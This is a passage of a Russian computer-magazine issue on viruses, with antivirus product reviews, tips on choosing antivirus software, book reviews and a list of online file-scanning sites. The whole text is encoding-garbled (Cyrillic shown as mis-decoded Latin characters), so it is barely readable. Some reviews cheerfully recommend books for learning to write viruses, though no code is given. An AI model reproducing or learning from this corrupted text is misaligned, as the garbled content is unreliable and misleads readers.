êîìïüþòåðà, íà êîòîðîì áóäåò îòîá-
ðàæàòüñÿ, ãäå è ÷òî ñëó÷èëîñü. È, íà-
êîíåö, òåõíîëîãèÿ Holocheck ïðåä-
íàçíà÷åíà äëÿ êîìáèíèðîâàííîãî
àíàëèçà ïî ñèãíàòóðàì è âíåøíèì
ïðîÿâëåíèÿì ôàéëîâ è ïðîöåññîâ,
ýôôåêòèâíî îïðåäåëÿÿ èçâåñòíûå è
íåèçâåñòíûå âèðóñû.

COMPUTER ASSOCIATES
INOCULATEIT (WWW.CAI.COM)

Åùå îäèí êîìïëåêñíûé ïðîäóêò,
îáåñïå÷èâàþùèé îáøèðíóþ çà-

ùèòó îò âèðóñîâ - eTrust Antivirus. Ðà-
áîòàåò ïîä Windows
9x/Me/NT/2000/XP, Palm
OS/PocketPC, Linux, Solaris, Macintosh,

Novell NetWare, Microsoft Exchange
Server, Lotus Notes/Domino è Gateway.

Äëÿ áîëåå íàäåæíîé çàùèòû ïàðàë-
ëåëüíî èñïîëüçóåòñÿ äâà àíòèâèðóñ-
íûõ äâèæêà, àíàëîãè÷íî Aladdin'ó, íî
îáà ðàçðàáîòàíû ñâîèìè ñèëàìè. Îò-
äåëüíî îòñëåæèâàþòñÿ è ïåðåõâàòû-
âàþòñÿ îáðàùåíèÿ ê ôàéëàì ñ îïðå-
äåëåííûìè ðàçðåøåíèÿìè, ïîçâîëÿÿ
ïåðåõâàòûâàòü âèðóñû "ñ ïîëè÷íûì".

Ýòîò ñîôò ìîæíî èñïîëüçîâàòü â êà-
÷åñòâå çàùèòû ïî ïåðèìåòðó ëîêàëü-
íîé ñåòè, èñïîëüçóÿ êàê ïåðåäàòî÷íîå
çâåíî ìåæäó èíòåðíåòîì è êîìïüþòåðà-
ìè â ëîêàëêå, ïîçâîëÿÿ îáåçâðåæèâàòü
çàðàçó äî òîãî, êàê îíà òóäà ïîïàäåò.

È ñàìàÿ ïîëåçíàÿ âîçìîæíîñòü - èñ-
ïîëüçîâàíèå ìîùíîñòåé CA's eTrust
TARGET (Threat Analysis and Response
Global Emergency Team). Ýòà ñåòü
ïðåäíàçíà÷åíà äëÿ áûñòðîãî ñáîðà
èíôîðìàöèè î íîâûõ âèðóñàõ, ÷åðâÿõ,
òðîÿíàõ è ïðî÷åé íå÷èñòè. Èíôîðìà-
öèÿ îáðàáàòûâàåòñÿ è îïåðàòèâíî ðàñ-
ñûëàåòñÿ, îáåñïå÷èâàÿ íàèáîëåå ïîë-
íóþ èíôîðìàöèþ î íîâûõ âèðóñàõ.

SOPHOS ANTI-VIRUS
(WWW.SOPHOS.COM)

Î÷åðåäíàÿ çàáóãîðíàÿ ðàçðà-
áîòêà, ïðåäíàçíà÷åííàÿ äëÿ 32-

áèòíûõ ïëàòôîðì è ñîñòîÿùàÿ èç äâóõ
êîìïîíåíò: ñîáñòâåííî àíòèâèðóñà è
òåõíîëîãèè InterCheck, ïîçâîëÿþùåé
ïåðåõâàòûâàòü îáðàùåíèÿ ê ôàéëàì,
õàðàêòåðíûå äëÿ âèðóñîâ, îáðàáàòû-
âàÿ èñòî÷íèêè ýòèõ îáðàùåíèé. Â ðå-
çóëüòàòå, ñîêðàùàåòñÿ âðåìÿ ïðîâåð-
êè íà âèðóñû, òàê êàê ïðîâåðÿåòñÿ íå
âñå ïîäðÿä, à òîëüêî òå ôàéëû, êîòî-
ðûå çàïîäîçðåíû â íàëè÷èè âèðóñîâ.

Ê èíòåðåñíûì âîçìîæíîñòÿì íàäî
îòíåñòè îðèãèíàëüíûé àëãîðèòì ðàñ-
ïàêîâêè èñïîëíèìûõ ôàéëîâ "íà ëå-
òó", ÷òî ñîêðàùàåò âðåìÿ ñêàíèðîâà-
íèÿ. Ê òîìó æå ìîæíî ðàáîòàòü ñ íåñ-
òàíäàðòíûìè ôîðìàòàìè óïàêîâêè, ê
ïðèìåðó, PGM Pack.                         A
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Åñëè çà àíòèâèðóñ ïðîñÿò ìíîãî çåëåíûõ ôàíòèêîâ è îí õîðîøî
èçâåñòåí - ýòî ñîâñåì íå çíà÷èò, ÷òî îí ëó÷øèé. À ÿðûì ïîêëîííè-
êàì êàêîãî-òî îäíîãî àíòèâèðóñà ñòîèò çàäàòü âîïðîñ: "À êàêèå
åùå àíòèâèðóñû òû ùóïàë? À ñêîëüêî èõ ñóùåñòâóåò â ïðèíöèïå?
È ÷èòàë ëè òû ñïåöâûïóñê Õàêåðà ïðî Âèðóñû? :)".

Íè îäèí àíòèâèðóñ íå çàùèòèò òåáÿ îò âñåõ âèðóñîâ. Âñåãäà åñòü
âåðîÿòíîñòü, ÷òî êàêîãî-òî íîâîãî âèðóñà â áàçå åùå íåò. Ýòî íîð-
ìàëüíî. Áûëè áû ïðîèçâîäèòåëè àíòèâèðóñíîãî ÏÎ òåëåïàòàìè, âè-
ðóñû áûëè áû íåàêòóàëüíû. Ïîýòîìó ïðèäåðæèâàéñÿ ïðîâåðåííûõ
äåäîâñêèõ ìåòîäîâ: íå êà÷àé ãäå ïîïàëî, íå çàïóñêàé ÷òî ïîïàëî è
íå áåãè âïåðåäè ïàðîâîçà - èñïîëüçóé ïðîâåðåííûå ðåñóðñû.

Íå âñå çàðàæåííûå ôàéëû ìîãóò áûòü âûëå÷åíû. Íî åñëè òû íà-
âåðíÿêà çíàåøü, êàêîé âèðóñ íàäðóãàëñÿ íàä òîáîé, ïîðîéñÿ â èíå-
òå. Åñòü øàíñ, ÷òî òû íàéäåøü óòèëèòêó èëè äðóãîé àíòèâèðóñ, êî-
òîðûå óìåþò ëå÷èòü èìåííî ýòîò âèðóñ (ê ïðèìåðó, ó ìåíÿ áûë ñëó-
÷àé, êîãäà McAfee ñìîã âûëå÷èòü òî, ÷òî íå ëå÷èë DrWeb).

Ðàçìåð àíòèâèðóñíîé áàçû íè î ÷åì íå ãîâîðèò. Òàì ìîæåò áûòü
îïèñàíèå êó÷è äîèñòîðè÷åñêèõ âèðóñîâ è íå áûòü îïèñàíèÿ íàèáî-
ëåå îïàñíûõ èç ïîñëåäíèõ ýêçåìïëÿðîâ. Ïðîâåðèòü ýôôåêòèâ-
íîñòü ìîæíî ñëåäóþùèì ñïîñîáîì. Ñòàâèøü íåñêîëüêî àíòèâèðó-
ñîâ è ïî î÷åðåäè çàïóñêàåøü èõ íà ïîèñê âèðóñîâ, íå ïðèìåíÿÿ ëå-
÷åíèå ê íàéäåííûì âèðóñàì. Ïîòîì ñðàâíèâàåøü, êòî è ÷òî íàøåë.

Åñëè àíòèâèðóñ î÷åíü äîëãî êîïàåòñÿ, òî ýòî ñîâñåì íå çíà÷èò, ÷òî
òîðìîçèò ïðîãðàììà. Äëÿ ãëóáîêîãî è òùàòåëüíîãî ñêàíèðîâàíèÿ
íóæíû ðåñóðñû! È, íàîáîðîò, ðåàêòèâíûé àíòèâèðóñ - ñîìíèòåëüíîå
ïðèîáðåòåíèå. Êàê ãîâîðèòñÿ, òèøå åäåøü - äàëüøå áóäåøü :).

ÌÈÔÛ È ÐÅÀËÜÍÎÑÒÜ

Ýòîò ñîôò ìîæíî èñïîëüçîâàòü â êà÷å-
ñòâå çàùèòû ïî ïåðèìåòðó ëîêàëüíîé

ñåòè, èñïîëüçóÿ êàê ïåðåäàòî÷íîå çâå-
íî ìåæäó èíòåðíåòîì 

è êîìïüþòåðàìè â ëîêàëêå.
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Äìèòðèåâ ßðîñëàâ (clane@sources.ru), ICQ 167921895, www.sources.ru Slam (sergey@soobcha.org)

Í åñìîòðÿ íà êàæóùååñÿ èçîáèëèå êà÷åñòâåííîé êîìïüþòåðíîé ëèòåðàòóðû íà ïîëêàõ ñïåöèàëèçèðîâàííûõ ìàãàçèíîâ,
êíèã, öåëèêîì è ïîëíîñòüþ ïîñâÿùåííûõ òåìå ñåãîäíÿøíåãî Ñïåöà, ñîâñåì íåìíîãî. Ïîýòîìó ìû ðåøèëè ïðåäñòà-

âèòü òâîåìó âíèìàíèþ íåñêîëüêî òàëìóäîâ ïî êîìïüþòåðíîé áåçîïàñíîñòè è àññåìáëåðó, à òàêæå ïîëåçíóþ è èíòåðåñ-
íóþ êíèãó ïî òåõíèêå îïòèìèçàöèè ïðîãðàìì, ÷òî íåìàëîâàæíî ïðè íàïèñàíèè ýôôåêòèâíîãî âèðÿ. Èòàê, ïðèñòóïèì.

ÊÍÈÆÍÀß ËÀÂÊÀ
ÎÁÇÎÐ ÊÍÈÆÍÛÕ ÍÎÂÈÍÎÊ

ÒÅÕÍÈÊÀ
ÎÏÒÈÌÈÇÀÖÈÈ
ÏÐÎÃÐÀÌÌ.
ÝÔÔÅÊÒÈÂÍÎÅ
ÈÑÏÎËÜÇÎÂÀÍÈÅ

ÏÀÌßÒÈ

Êðèñ Êàñïåðñêè - îäèí èç
ñàìûõ èçâåñòíûõ â Ðîññèè

ñïåöèàëèñòîâ â îáëàñòè
êîìïüþòåðíîé áåçîïàñíîñòè, à
òàêæå áîëüøîé çíàòîê àññåìáëåðà è
êîìïüþòåðà â öåëîì. Òâîåìó
âíèìàíèþ ïðåäëàãàåòñÿ êíèãà,
ïîñâÿùåííàÿ òåõíèêå îïòèìèçàöèè
ïðîãðàìì. Ìíîãîóâàæàåìûé Êðèñ
ïîðàáîòàë íà ñëàâó, ïðåäñòàâèâ
÷èòàòåëþ óíèêàëüíîå ïðàêòè÷åñêîå
ïîñîáèå ïî îïòèìèçàöèè ïðîãðàìì
ïîä ïëàòôîðìó IBM PC è
îïåðàöèîííûå ñèñòåìû ñåìåéñòâà
Windows. Àâòîð ñêðóïóëåçíî
îïèñûâàåò àðõèòåêòóðó, ôèëîñîôèþ
è ïðèíöèïû ôóíêöèîíèðîâàíèÿ
îïåðàòèâíîé è êýø-ïàìÿòè. Â êíèãå

òû íàéäåøü íåäîêóìåíòèðîâàííûå
ñåêðåòû, ñóùåñòâîâàíèå êîòîðûõ
êîìïàíèè Intel è Microsoft õîòåëè áû
óòàèòü, ìíîæåñòâî îðèãèíàëüíûõ
ïðèåìîâ ïðîãðàììèðîâàíèÿ è
ãîòîâûõ ðåøåíèé, ïåðå÷åíü îøèáîê
íà÷èíàþùèõ ïðîãðàììèñòîâ,
êîòîðûå çàìåòíî ñíèæàþò
ïðîèçâîäèòåëüíîñòü ñèñòåìû. Åñëè
òû ïðî÷òåøü ýòó êíèãó, òâîè äðóçüÿ-
âèðìåéêåðû áóäóò ñ çàìèðàíèåì
ñåðäöà èçó÷àòü êîä òâîåãî âèðóñà,
íàïèñàííûé ïîä ÷óòêèì
ðóêîâîäñòâîì Êðèñà.

ÑÅÊÐÅÒÛ ÕÀÊÅÐÎÂ.
ÁÅÇÎÏÀÑÍÎÑÒÜ WINDOWS 2000
- ÃÎÒÎÂÛÅ ÐÅØÅÍÈß

×èòàÿ êàæäûé äåíü BugTraq,
òû ñòàëêèâàåøüñÿ ñ

ñîîáùåíèÿìè î òîì, ÷òî îäèí èç
ïðîäóêòîâ êîìïàíèè Microsoft
ïîäâåðæåí òîìó èëè èíîìó áàãó. Â

ðåçóëüòàòå ÷åãî áîëüøèíñòâî
àíàëèòèêîâ ñ÷èòàþò
íåöåëåñîîáðàçíûì óñòàíàâëèâàòü
íà ïëàòôîðìó Win ëþáîé ñåðâèñ
(íàïðèìåð, âåá-ñåðâåð), òåñíî
ñâÿçàííûé ñ ñåòüþ èíòåðíåò. Íî
åñòü ëþäè, êîòîðûå ïðèäåðæèâàþòñÿ
ñîâñåì èíîãî ìíåíèÿ. Îíè
óòâåðæäàþò, ÷òî ãëàâíàÿ áåäà
ñîñòîèò íå â òîì, ÷òî ïðîäóêòû
êîìïàíèè Microsoft ëèøåíû
îïðåäåëåííîãî óðîâíÿ
áåçîïàñíîñòè. Äåëî â òîì, ÷òî
ìíîãèå àäìèíû ïðîñòî íå ñòàâÿò
âîâðåìÿ çàïëàòêè, â ðåçóëüòàòå ÷åãî
òîëïû þíûõ õàêåðîâ áåðóò øòóðìîì
èõ ñåðâåðà. È îíè îò÷àñòè ïðàâû.
Ïðè äîëæíîé íàñòðîéêå, â ÷åì è
ïîìîæåò ýòà êíèãà, ñèñòåìû íà ÿäðå
WinNT (à ÿ èìåþ â âèäó Win2k è
WinXP) ïðåäñòàâëÿþò êðåïêèé
îðåøåê äëÿ âçëîìùèêà. Ëàäíî,
õâàòèò òåîðèè, äàâàé áëèæå ê òåëó. Â
íà÷àëå êíèãè òåáÿ ïîçíàêîìÿò ñ
îáùèì óñòðîéñòâîì äàííîé OS,
çàòåì ïîñâÿòÿò â òàéíû ïðîâåäåíèÿ
àíàëèçà è ñáîðà èíôîðìàöèè ïðè
ïîìîùè NetBIOS, ïîäðîáíî
ðàññêàæóò î ìåòîäàõ âçëîìà
SMB/CIFS. Òàêæå â êíèãå èìååòñÿ
ïîëíûé ìàíóàë ïî çàùèòå âåá-
ñåðâåðà IIS, áàçû äàííûõ SQL. Åñëè
òû àäìèíèøü òà÷êó ïîä
óïðàâëåíèåì OS Windows, ýòà êíèãà
äîëæíà íà âðåìÿ ñòàòü òâîåé
áèáëèåé.

ÝÍÖÈÊËÎÏÅÄÈß
ÊÎÌÏÜÞÒÅÐÍÛÕ ÂÈÐÓÑÎÂ

Íàçâàíèå ýòîãî òàëìóäà íå
îòðàæàåò åãî ïîëíîãî

ñîäåðæàíèÿ. ß áû, ñêîðåå, íàçâàë
åãî "Êàê íàïèñàòü âèðóñ", òàê êàê
áÎëüøàÿ ÷àñòü - èìåííî îá ýòîì.
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Êíèãà ñîñòîèò èç äâóõ ÷àñòåé:
òåîðèÿ è ïðàêòèêà. Òåîðåòè÷åñêàÿ
÷àñòü íà÷èíàåòñÿ ñ èñòîðèè âèðóñîâ:
êîãäà áûëî çàðåãèñòðèðîâàíî èõ
ïîÿâëåíèå, êàê âèðóñû îêàçàëèñü â
Ðîññèè, è ãäå ïðîèçîøëà ïåðâàÿ
äèêàÿ "ýïèäåìèÿ". Åñòü èíòåðåñíàÿ
ãëàâà ïðî ñóòü âèðóñîâ: èõ ìåòîäû è
ïðèíöèïû äåéñòâèÿ, â êàêèõ ôîðìàõ
è òèïàõ îíè ñóùåñòâóþò. À åùå â
ýòîé ãëàâå àâòîðû ïûòàþòñÿ äîíåñòè
äî ÷èòàòåëÿ îöåíêó èõ ðåàëüíîé
îïàñíîñòè. Ïðåæäå ÷åì ïðèñòóïèòü ê
îáçîðó ïðàêòè÷åñêîé ÷àñòè,
íàïîìíþ, ÷òî âåñü êîä - íà
àññåìáëåðå. Òû íàó÷èøüñÿ
ñîçäàâàòü îãðîìíîå êîëè÷åñòâî
ðàçëè÷íûõ âèðóñîâ: è ðåçèäåíòíûå,
è íåðåçèäåíòíûå, è com, è åxe, à
òàêæå çàãðóçî÷íûå è ìàêðî-âèðóñû.
Ê ñîæàëåíèþ, íàìíîãî ìåíüøå
âíèìàíèÿ óäåëåíî ìåòîäàì çàùèòû.
Íî íåñìîòðÿ íà ýòîò íåäî÷åò, â êíèãå
òîëêîâî ðàñïèñàíî, êàê îïðåäåëèòü,
çàðàæåí ëè òâîé êîìïüþòåð, ÷òî
äåëàòü, åñëè íàéäåí çàãðóçî÷íûé
âèðóñ, êàê ìîæíî âîññòàíîâèòü
ôàéëû ïîñëå áóéñòâà "çàðàçû", à
òàêæå êàê ðàñïîçíàòü
ïîëèìîðôíîãî çâåðÿ. Åñëè òû
õî÷åøü óçíàòü ïîáîëüøå î âèðÿõ -
ýòà êíèãà äëÿ òåáÿ.

ÀÑÑÅÌÁËÅÐ Â ÇÀÄÀ×ÀÕ
ÇÀÙÈÒÛ ÈÍÔÎÐÌÀÖÈÈ

Êàê ãîâîðèë îäèí ìîé
çíàêîìûé, áåç êðèïòîãðàôèè

ñåé÷àñ íèêóäà. Ïîëíîñòüþ
ïîääåðæèâàÿ åãî ìíåíèå, ÿ îáðàòèë
âíèìàíèå íà êíèãó, â êîòîðîé
ïîäðîáíî ðàññìîòðåí ÿçûê
ïðîãðàììèðîâàíèÿ Àññåìáëåð äëÿ
ñåìåéñòâà ïðîöåññîðîâ Intel 80x86

è ñïîñîáû åãî ïðèìåíåíèÿ äëÿ
çàùèòû èíôîðìàöèè. Êàæäûé
ïðàâèëüíûé õàêåð äîëæåí áûòü
êîìïåòåíòåí â âîïðîñàõ
êðèïòîãðàôèè è çàùèòû
èíôîðìàöèè, òàê ÷òî îáðàòè
âíèìàíèå íà ýòîò òîëêîâûé òàëìóä.
Òåïåðü íåìíîãî î ñàìîé êíèãå.
Ïåðâàÿ ãëàâà (à âñåãî èõ òðè)
ðàññ÷èòàíà íà íà÷èíàþùåãî
ïðîãðàììèñòà. Îíà îïèñûâàåò
àðõèòåêòóðó êîìïüþòåðà IBM PC,
ñèñòåìó êîìàíä, ñïîñîáû àäðåñàöèè
äàííûõ, ñèñòåìíûå ôóíêöèè,
íåêîòîðûå ïðèåìû
ïðîãðàììèðîâàíèÿ. Âòîðàÿ ãëàâà
ðàññêàçûâàåò î êðèïòîãðàôè÷åñêèõ
ìåòîäàõ è âîçìîæíûõ ñïîñîáàõ
ðåøåíèÿ çàäà÷ êîíòðîëÿ

öåëîñòíîñòè è îáåñïå÷åíèÿ
ñåêðåòíîñòè èíôîðìàöèè. Òðåòüÿ
ãëàâà ïîñâÿùåíà ñïåöèôè÷åñêèì
ïðèìåíåíèÿì Àññåìáëåðà, òàêèì êàê
çàùèòà ïðîãðàìì îò ñòàòè÷åñêîãî è
äèíàìè÷åñêîãî èññëåäîâàíèÿ,
áîðüáà ñ âèðóñàìè, `èçîùðåííîå`
ïðîãðàììèðîâàíèå. Äëÿ íàñ ýòà
ãëàâà ïðåäñòàâëÿåò íàèáîëüøèé
èíòåðåñ, à åñëè òû íå ñèëåí â àñìå,
òî òåáå ïîìîæåò ñëåäóþùàÿ êíèãà...

ÀÑÑÅÌÁËÅÐ. Ó×ÅÁÍÛÉ ÊÓÐÑ
(2-Å ÈÇÄÀÍÈÅ)

Â ýòîé êíèãå ðàññìàòðèâàþòñÿ
âîïðîñû, ñâÿçàííûå ñ

ïðîãðàììèðîâàíèåì íà àññåìáëåðå
äëÿ îïåðàöèîííûõ ñèñòåì MS-DOS è
Windows. Ïðèâåäåíû ïðèìåðû
ïðîãðàììèðîâàíèÿ ïåðèôåðèéíûõ
óñòðîéñòâ íà óðîâíå ðåãèñòðîâ
ââîäà/âûâîäà. Ïðîãðàììèðîâàíèå ñ
èñïîëüçîâàíèåì API èçëîæåíî
ïðèìåíèòåëüíî ê ôóíêöèÿì
îïåðàöèîííûõ ñèñòåì MS-DOS,

Windows è ñåòåâîé îïåðàöèîííîé
ñèñòåìû Novell Netware. Íàðÿäó ñ
òàêèìè ñëîæíûìè òåìàìè, êàê
ðàáîòà â çàùèùåííîì ðåæèìå,
îðãàíèçàöèÿ çàùèòû èíôîðìàöèè

íà äèñêå è ïðîãðàììèðîâàíèå
êîíòðîëëåðà ïðåðûâàíèé,
ïðèâîäèòñÿ ìàòåðèàë è äëÿ
íà÷èíàþùèõ, â ÷àñòíîñòè, îïèñàíà
ñòðóêòóðà ïðîãðàìì è èõ òðàíñëÿöèÿ,
ðàáîòà ñ ôàéëàìè è èñïîëüçîâàíèå
àññåìáëåðà ñ ÿçûêàìè âûñîêîãî
óðîâíÿ. Â êíèãó âêëþ÷åíû îêîëî 150
ïðèìåðîâ ðàáîòàþùèõ ïðîãðàìì ñ
ïîäðîáíûì ðàçúÿñíåíèåì èõ
óñòðîéñòâà. Åñëè òû õî÷åøü
íàó÷èòüñÿ âèðòóîçíî
ïðîãðàììèðîâàòü íà àññåìáëåðå, ýòà
êíèãà äîëæíà ó òåáÿ áûòü. 

ÓÊÐÎÙÅÍÈÅ ÈÍÒÅÐÍÅÒÀ

Êðèñ Êàñïåðñêè íå ñèäèò áåç äåëà,
âûïóñêàÿ øåäåâð çà øåäåâðîì.
Êíèãà "Óêðîùåíèå Èíòåðíåòà" ñòàëà
÷åòâåðòîé â ïîïóëÿðíîé ñåðèè
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"Êîäîêîïàòåëü", è ÿ
ðåêîìåíäóþ åå êàæäîìó, êòî

ñ÷èòàåò ñåáÿ õàêåðîì. Êíèãà
íàïèñàíà â ôîðìå âîïðîñ - îòâåò.
Åæåäíåâíî îòâå÷àÿ íà ìíîæåñòâî
âîïðîñîâ, ïðèõîäÿùèõ íà e-mail,
Êðèñ ðåøèë îáúåäèíèòü èõ â îäíîé
êíèãå. Ñêàçàíî - ñäåëàíî. Êíèãà
ðàçáèòà íà ãëàâû, êàæäàÿ èç
êîòîðûõ âíîñèò ÿñíîñòü â
îïðåäåëåííóþ òåìó. Ïåðâàÿ ãëàâà
ïîñâÿùåíà ïðîáëåìàì óäàëåííîãî
äîñòóïà. Â íåé àâòîð ïîäðîáíî
ðàññêàçûâàåò, êàê ìîæíî íàñòðîèòü
ìîäåìíîå ñîåäèíåíèå íà
ìàêñèìàëüíóþ ïðîèçâîäèòåëüíîñòü,
ïðèâîäèò ïîëíîå îïèñàíèå óòèëèòû
MTUSpeed, à òàêæå ðàñêðûâàåò
òàéíó íàçíà÷åíèÿ ïîëåé DUN-
ôàéëà. Âòîðàÿ ãëàâà - ýòî îáùèå
âîïðîñû ïî Ñåòè. ×òî òàêîå DNS,
ïîðòû, ïðîòîêîëû. Òû òàêæå
óçíàåøü âñå ñåêðåòû ïî÷òû è
ïîëó÷åíèÿ ôàéëîâ, ïðî÷òåøü î òîì,
êàê ìîæíî çàðàáîòàòü äåíüãè â
èíòåðíåòå è î ìíîãîì äðóãîì. Äëÿ
íàñ íàèáîëüøèé èíòåðåñ
ïðåäñòàâëÿåò ãëàâà î áåçîïàñíîñòè
â Ñåòè, òàê êàê òàì åñòü
èíôîðìàöèÿ ïî çàùèòå îò çëîáíûõ
âèðóñîâ. Êàê çàùèòèòüñÿ îò
âèðóñîâ, êàêîé àíòèâèðóñ ëó÷øå è
ïî÷åìó, êàêîâû öåëè
âèðóñîïèñàòåëåé. Òû çíàåøü? Åñëè
íåò, òî ÷èòàé!

ÊÎÌÏÜÞÒÅÐÍÛÅ ÂÈÐÓÑÛ:
×ÒÎ ÝÒÎ ÒÀÊÎÅ È ÊÀÊ Ñ ÍÈÌÈ
ÁÎÐÎÒÜÑß

Ýòà êíèãà ïðèíàäëåæèò ïåðó
ñîçäàòåëÿ îäíîãî èç ñàìûõ
ïîïóëÿðíûõ àíòèâèðóñîâ â ìèðå
ïîä ñêðîìíûì íàçâàíèåì Kaspersky
Anti-Virus. Äà, ýòî Åâãåíèé

Êàñïåðñêèé, ãðîçà âñåõ
âèðóñîïèñàòåëåé. Êòî, êàê íå

îí, çíàåò âñå î âèðóñàõ è
àíòèâèðóñàõ? Ñâîèìè çíàíèÿìè îí
ãîòîâ ïîäåëèòüñÿ ñ òîáîé. Êàê è
ñëåäîâàëî îæèäàòü, êíèãà
íà÷èíàåòñÿ ñ òåîðåòè÷åñêîé ÷àñòè,
ãäå ãóðó ïûòàåòñÿ äàòü òî÷íîå
îïðåäåëåíèå âèðóñà, çàòåì ñëåäóåò
ïëàâíûé ïåðåõîä ê èñòîðèè
ïîÿâëåíèÿ âèðóñîâ, ãäå è êîãäà îíè
âïåðâûå äàëè î ñåáå çíàòü, êàê
ïîÿâèëèñü ïåðâûå àíòèâèðóñû è,
íàêîíåö, ïðåäñêàçàíèå òîãî, ÷òî íàñ
æäåò â äàëåêîì è ñ÷àñòëèâîì
áóäóùåì. Ñëåäóþùàÿ ÷àñòü êíèãè
ïîñâÿùåíà ãëóáîêîìó àíàëèçó âñåõ
ñóùåñòâóþùèõ íà äàííûé ìîìåíò
âèðóñîâ: çàãðóçî÷íûõ, ôàéëîâûõ,
ðåçèäåíòíûõ, à òàêæå íåêîòîðûõ
äðóãèõ. Ìàíóàë ïî îáíàðóæåíèþ
âðåäîíîñíûõ ïðîãðàìì ïðèëàãàåòñÿ.
Åñëè õî÷åøü áûòü â êóðñå òîãî, ÷òî
ïðîèñõîäèò â ìèðå âèðóñîâ è
àíòèâèðóñîâ (òû âåäü ýòîãî
õî÷åøü?), êíèãà íàñòîÿòåëüíî
ðåêîìåíäóåòñÿ äëÿ ïðî÷òåíèÿ, êàê,
ñîáñòâåííî, è âñå êíèãè â îáçîðå.

ÇÀÙÈÒÀ ÎÒ ÊÎÌÏÜÞÒÅÐÍÎÃÎ
ÒÅÐÐÎÐÈÇÌÀ: ÑÏÐÀÂÎ×ÍÎÅ
ÏÎÑÎÁÈÅ

Çäåñü ñîáðàíû ìàòåðèàëû ïî
çàùèòå èíôîðìàöèè.

Îïèñûâàþòñÿ ìåòîäû êîíòðîëÿ è
çàùèòû èíôîðìàöèè ïðè ïîìîùè
òåõíè÷åñêèõ ñðåäñòâ. Ìîæíî óçíàòü
î ìåòîäàõ çàùèòû êîìïüþòåðíûõ
ñåòåé è ïåðñîíàëüíûõ êîìïüþòåðîâ.
Åñòü ïîëåçíîå îïèñàíèå íåêîòîðûõ
ïðîãðàìì è ñèñòåì. Îñîáîå
âíèìàíèå óäåëåíî ñïîñîáàì
êðèïòîãðàôè÷åñêîé çàùèòû. Êíèãà

ïðåäíàçíà÷åíà äëÿ øèðîêîãî êðóãà
÷èòàòåëåé - ïîëüçîâàòåëåé
ïåðñîíàëüíûõ êîìïüþòåðîâ,
ñïåöèàëèñòîâ, çàíèìàþùèõñÿ
âîïðîñàìè îáåñïå÷åíèÿ
èíôîðìàöèîííîé áåçîïàñíîñòè,
æåëàþùèõ áëèæå ïîçíàêîìèòüñÿ ñ
ýòîé òåìàòèêîé, íó è, åñòåñòâåííî,
äëÿ òåáÿ :).

ÌÎÍÈÒÎÐÈÍÃ È ÀÍÀËÈÇ
ÑÅÒÅÉ. ÌÅÒÎÄÛ ÂÛßÂËÅÍÈß
ÍÅÈÑÏÐÀÂÍÎÑÒÅÉ

Òû êîãäà-íèáóäü çàäóìûâàëñÿ
íàä òåì, ÷òî ïðîèñõîäèò

âíóòðè ñåòè? Ïî÷åìó
ìíîãîóðîâíåâûå ïðèëîæåíèÿ
âíåçàïíî íà÷èíàþò ðàáîòàòü
ìåäëåííî, îòêàçûâàþò çàäàíèÿ
ïå÷àòè, èñ÷åçàþò ñåòåâûå
ýëåìåíòû? Âñå ýòî ìîæíî íàéòè â
êíèãå "Ìîíèòîðèíã è àíàëèç ñåòåé.
Ìåòîäû âûÿâëåíèÿ
íåèñïðàâíîñòåé". Êíèãà ÿâëÿåòñÿ
ïîëíûì ïðàêòè÷åñêèì ðóêîâîäñòâîì
ïî ìîíèòîðèíãó è àíàëèçó ñåòåé íà
îñíîâå Windows NT, êîòîðîå
ñóùåñòâåííî ïîïîëíèò òâîè çíàíèÿ
îá ýôôåêòèâíîé ðàáîòå
êîìïüþòåðíûõ ñåòåé. Îïèñàíû
îñíîâíûå ïðîòîêîëû äëÿ àíàëèçà è
ìîíèòîðèíãà ñåòåé (TCP/IP, IPX/SPX,
Ethernet è Samba). Êíèãà
"Ìîíèòîðèíã è àíàëèç ñåòåé"
ïîìîæåò äîáèòüñÿ ìàêñèìàëüíîé
ïðîèçâîäèòåëüíîñòè è íàäåæíîñòè
ñèñòåìû. Åñëè ó òåáÿ åñòü ëîêàëüíàÿ
ñåòü, èëè òû ïðîñòî ïîäêëþ÷åí ê
èíòåðíåòó, òî êíèãó îáÿçàòåëüíî
ñòîèò ïðî÷èòàòü - òàê òû ñìîæåøü
èçáåæàòü ìíîãèõ íåïðèÿòíîñòåé,
ïîäæèäàþùèõ òåáÿ â ïàóòèíå. A
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Ñêðûïíèêîâ Ñåðãåé aka Slam (sergey@soobcha.org)

ß çíàþ, ÷òî òû ÷åëîâåê çàíÿòîé, è âðåìåíè íà òî, ÷òîáû ñèäåòü è èñêàòü ìàòåðèàë, ó òåáÿ íåò, ïîýòîìó è ðåøèë
íàïèñàòü äëÿ òåáÿ ýòó ñòàòüþ. Íàñòðîåí íà äàëüíåéøåå óãëóáëåíèå ñâîèõ çíàíèé â îáëàñòè êîìïüþòåðíîé

âèðóñîëîãèè? Õî÷åøü óçíàòü, ãäå ëåæèò ñàìûé ïîëåçíûé ìàòåðèàë? Åñëè äà, òî ÷èòàé äàëüøå.

×ÒÎÁÛ ÂÐÅÌß 
ÍÅ ÒÅÐßÒÜ
ÎÁÇÎÐ CÅÒÈ ÍÀ ÍÀËÈ×ÈÅ ÂÊÓÑÍÛÕ ÑÀÉÒÎÂ

ÈÙÅÌ ÂÈÐÅÉ

Çíàþ, ÷òî áûâàþò
òàêèå ñëó÷àè, êîãäà

òû ñèäèøü â êîìïüþòåðíîì êëóáå, è
ïîä ðóêîé íåò àíòèâèðóñà, à
ïðèñëàííóþ "Âêóñíîé_Êèñêîé"
ôîòîãðàôèþ óæ î÷åíü õî÷åòñÿ
ñîõðàíèòü íà äèñêåòó. ×òî æå
äåëàòü? Òóò íà ïîìîùü ïðèõîäÿò
îíëàéí-ñåðâèñû ïî ïðîâåðêå
ôàéëîâ íà íàëè÷èå âèðóñîâ. Òû
çàõîäèøü íà îïðåäåëåííóþ
ñòðàíè÷êó, óêàçûâàåøü ôàéë íà
ñâîåì âèí÷åñòåðå è ñìîòðèøü
ðåçóëüòàò ïðîâåðêè. Ïðèñòóïèì?!

WWW.DIALS.RU/WWW_AV

Ïðîâåðêà èäåò ñ ïîìîùüþ
âñåíàðîäíî ïðèçíàííîãî

àíòèâèðóñà Dr.Web. Ñòðàíè÷êà î÷åíü
áûñòðî ãðóçèòñÿ (ïðîâåðÿëîñü íà
ñòàíäàðòíîì dial-up'å), ñ íàâèãàöèåé
ïðîáëåì âîçíèêíóòü íå äîëæíî.
Ïîñëå ïðîâåðêè âûäàåòñÿ
ñòàíäàðòíûé êðàòêèé îò÷åò î
ïðîâåðêå. Ñðàçó ñêàæó, ÷òî ó âñåõ
